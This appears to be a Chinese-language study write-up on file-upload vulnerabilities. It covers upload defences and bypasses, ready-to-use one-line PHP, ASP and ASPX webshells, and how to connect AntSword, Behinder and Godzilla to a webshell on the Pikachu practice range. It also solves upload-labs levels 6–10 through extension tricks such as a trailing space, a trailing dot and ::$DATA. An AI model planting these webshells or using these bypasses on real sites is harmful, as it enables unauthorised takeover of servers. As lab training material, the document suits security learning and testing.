目录
3. 三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
1. 文件上传的防御手段及绕过手段总结
防御手段
- 文件类型验证:限制可上传文件的类型,并进行后端验证
- 文件大小限制:设置上传文件的最大尺寸,防止过大的文件上传
- 文件名过滤:避免使用特殊字符和路径遍历攻击,限制文件名格式
- 病毒扫描:使用病毒扫描工具检查上传的文件
- 存储位置隔离:将上传的文件存储在受限的目录中,避免直接访问
- 权限控制:限制文件的访问权限,防止未授权的访问
绕过手段
- 文件扩展名伪装:通过更改文件扩展名绕过文件类型检查
- 混淆文件内容:利用编码或压缩技术隐藏恶意代码
- 利用已知漏洞:通过特定漏洞执行恶意代码,例如目录遍历漏洞
- 绕过文件名过滤:使用特殊字符或双重扩展名来规避过滤规则
2. 文件上传常用的一句话木马
php一句话木马
<?php @eval($_POST['cmd']); ?>
中国菜刀
<?php @eval($_POST['pass']);?>
asp一句话木马
<%eval request ("pass")%>
aspx一句话木马
<%@ Page Language="Jscript"%> <%eval(Request.Item["pass"],"unsafe");%>
3. 三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)
1.中国蚁剑
在网上搜索下载木马,这里以php一句话木马为例。
<?php @eval($_POST['attack']); ?>
使用靶场为pikachu
新建文本文档复制粘贴到新建文本文档,修改文件名为ant.txt。将文件导入皮卡丘靶场根目录下
打开中国蚁剑,右键选择添加数据,填写url地址,和密码,这里密码和一句话木马中密码相同
点击测试连接,连接成功
点击保存,双击进入该条数据,发现成功将进入该网站后台目录
2.冰蝎
打开冰蝎,点击传输协议,选择协议名称,然后点击生成服务器,就会自动生成木马
将生成的木马移入靶场根目录
右击冰蝎,选择新增,填入url,选择与刚才生成木马相同的传输协议,点击保存
双击数据,成功连接
3.哥斯拉
打开哥斯拉,点击管理,填写密码密钥,选择加密器,生成木马,选择生成位置
选择目标,新增,填写url,填写密码密钥选择加密器与刚才生成的木马一致,点击添加
右击目标选择进入
抓取流量包
各软件设置代理,端口与bp一致,即可成功抓取流量包
4. 文件上传无回显如何查找webshell地址
使用目录扫描工具扫描比如dirmap,或者一些主动爆破工具进行爆破
源代码审计,可能会在其他界面展示出来,就可以查看到这个文件的位置
5. upload-labs靶场通关第6-第10关
第六关
点击查看提示
发现并没有禁止没.pHP文件,尝试上传
成功上传,右击图片选择复制图片链接
尝试用中国蚁剑进行连接发现无法连接
进入网站文件发现文件成功上传,这里无法连接应该是靶场的问题
第七关
我们首先尝试大小写绕过,.htaccess文件等,结果均显示文件禁止上传,点击查看源码
查看禁止的文件类型中没有空格过滤
于是我们可以使用bp进行抓包后,在文件名后缀中添加空格进行绕过
bp渲染中显示成功上传,但网页显示禁止上传,打开网站上传文件目录进行验证
发现成功上传木马文件
第八关
直接查看网页源码
通过查看源码发现本关没有使用deldot()函数删除文件最后的.,因此可以使用点号进行绕过
同样使用bp进行抓包修改,成功上传
由于windows机制,点被自动省略,(同. .),所以此次文件并未被重命名成时间戳形式。
第九关
查看网页源码
没有去除::$DATA字符串的函数。php在window的时候如果文件名+"::$DATA"会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA"之前的文件名 他的目的就是不检查后缀名。
同样在bp进行抓包修改,成功上传
在上传文件中进行验证
第十关
查看网页源码,发现限制格式很齐全啊,各种尝试了一下,发现通关方式是文件名后加. .
通过bp进行抓包改包
成功上传